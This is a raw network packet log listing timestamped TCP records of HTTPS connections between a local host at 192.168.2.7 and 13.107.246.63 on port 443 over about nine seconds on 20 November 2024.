Nov 20, 2024 17:42:41.635566950 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.635610104 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.635622025 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.635644913 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.635649920 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.638535976 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.638566017 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.638659954 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.638847113 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.638859987 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.696831942 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.700064898 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.700124025 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.700185061 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.700201988 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.700242996 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.700253010 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.703001976 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.703025103 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.703094959 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.703257084 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.703270912 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.782599926 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.783050060 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.783066034 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.783545017 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.783550978 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.829674959 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.830260038 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.830297947 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.830735922 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.830748081 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.242620945 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.245582104 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.245707035 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.245784998 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.245876074 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.245876074 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.245908022 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.245929956 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.278929949 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.278959036 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.279082060 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.279136896 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.281544924 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.283798933 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.329993010 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.329993010 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.330039024 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.330065012 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.334445000 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.334474087 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.334701061 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.335556984 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.335681915 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.335701942 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.335715055 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.335743904 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.335839987 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.335863113 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.457714081 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.466799974 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.466814995 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.467299938 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.467304945 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.911185026 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.911252975 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.911381006 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.911465883 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.911659002 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.911678076 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.911688089 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.911693096 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.915143967 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.915177107 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:42.915266037 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.915446997 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:42.915460110 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.426642895 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.427206993 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.427222013 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.427768946 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.427772045 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.582413912 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.583085060 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.583106041 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.583597898 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.583602905 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.883460045 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.886445999 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.886528015 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.886555910 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.886567116 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.886584044 CET	50013	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.886589050 CET	443	50013	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.889664888 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.889744997 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:43.889826059 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.889986038 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:43.890018940 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.079703093 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.080379009 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.080391884 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.080887079 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.080890894 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.104296923 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.107680082 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.107765913 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.107842922 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.107871056 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.107887983 CET	50014	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.107896090 CET	443	50014	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.111336946 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.111399889 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.111493111 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.111679077 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.111696005 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.122544050 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.122955084 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.123020887 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.123413086 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.123425961 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.514906883 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.518037081 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.518145084 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.518270969 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.518395901 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.518395901 CET	50015	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.518409014 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.518415928 CET	443	50015	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.521507978 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.521595955 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.521698952 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.521862030 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.521897078 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.680440903 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.686919928 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.686949015 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.687472105 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.687478065 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.845024109 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.848408937 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.848850965 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.848933935 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.848933935 CET	50016	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.848978043 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.849009037 CET	443	50016	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.851819038 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.851852894 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:44.851939917 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.852091074 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:44.852102995 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.130523920 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.133605957 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.133697987 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.133749962 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.133775949 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.133789062 CET	50017	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.133795023 CET	443	50017	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.136682987 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.136794090 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.136898041 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.137053967 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.137088060 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.835607052 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.836235046 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.836287975 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.836719036 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.836735964 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.930674076 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.931279898 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.931318998 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:45.931643963 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:45.931648970 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.374608040 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.375381947 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.375442028 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.375830889 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.375838995 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.377486944 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.380603075 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.380686998 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.380724907 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.380743027 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.380753040 CET	50019	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.380759001 CET	443	50019	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.383636951 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.383660078 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.383735895 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.383869886 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.383882999 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.701163054 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.704204082 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.704288006 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.704310894 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.704329967 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.704392910 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.704426050 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.704441071 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.704449892 CET	50018	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.704454899 CET	443	50018	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.707912922 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.707982063 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.708072901 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.709029913 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.709062099 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.760139942 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.764390945 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.764405966 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.764847040 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.764852047 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.813478947 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.816790104 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.816832066 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.816876888 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.816926003 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.816998959 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.817019939 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.817034006 CET	50020	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.817040920 CET	443	50020	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.820482016 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.820555925 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:46.820660114 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.820887089 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:46.820921898 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.293827057 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.294615030 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.294663906 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.295278072 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.295295954 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.510134935 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.510231018 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.510400057 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.510584116 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.510600090 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.510611057 CET	50021	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.510616064 CET	443	50021	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.514364958 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.514451027 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.514564991 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.514782906 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.514816046 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.747546911 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.750494957 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.750597954 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.750680923 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.750682116 CET	50022	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.750737906 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.750761986 CET	443	50022	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.754153013 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.754232883 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:47.754334927 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.754528046 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:47.754579067 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.307356119 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.308079004 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.308092117 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.308594942 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.308599949 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.599035978 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.599730968 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.599766016 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.600245953 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.600253105 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.713850021 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.714477062 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.714529037 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.714941025 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.714957952 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.899132013 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.899597883 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.899682045 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.899719954 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.899729013 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.899743080 CET	50023	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.899746895 CET	443	50023	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.903467894 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.903512955 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:48.903595924 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.903789043 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:48.903803110 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.068283081 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.071551085 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.071631908 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.106175900 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.106215000 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.106242895 CET	50024	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.106260061 CET	443	50024	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.165105104 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.165280104 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.165344954 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.340732098 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.340769053 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.340805054 CET	50025	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.340825081 CET	443	50025	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.352524042 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.352546930 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.352698088 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.354059935 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.354073048 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.354734898 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.354762077 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.354811907 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.355051041 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.355062962 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.360214949 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.360717058 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.360765934 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.361980915 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.362014055 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.556130886 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.556732893 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.556797028 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.557229996 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.557244062 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.971980095 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.976324081 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.976387978 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.976424932 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.976463079 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.976524115 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.976547956 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.976571083 CET	50026	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.976584911 CET	443	50026	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.979779005 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.979800940 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:49.979880095 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.980020046 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:49.980035067 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.096458912 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.099414110 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.099489927 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.099541903 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.099541903 CET	50027	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.099566936 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.099587917 CET	443	50027	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.102518082 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.102556944 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.102657080 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.102826118 CET	50032	443	192.168.2.7	13.107.246.63
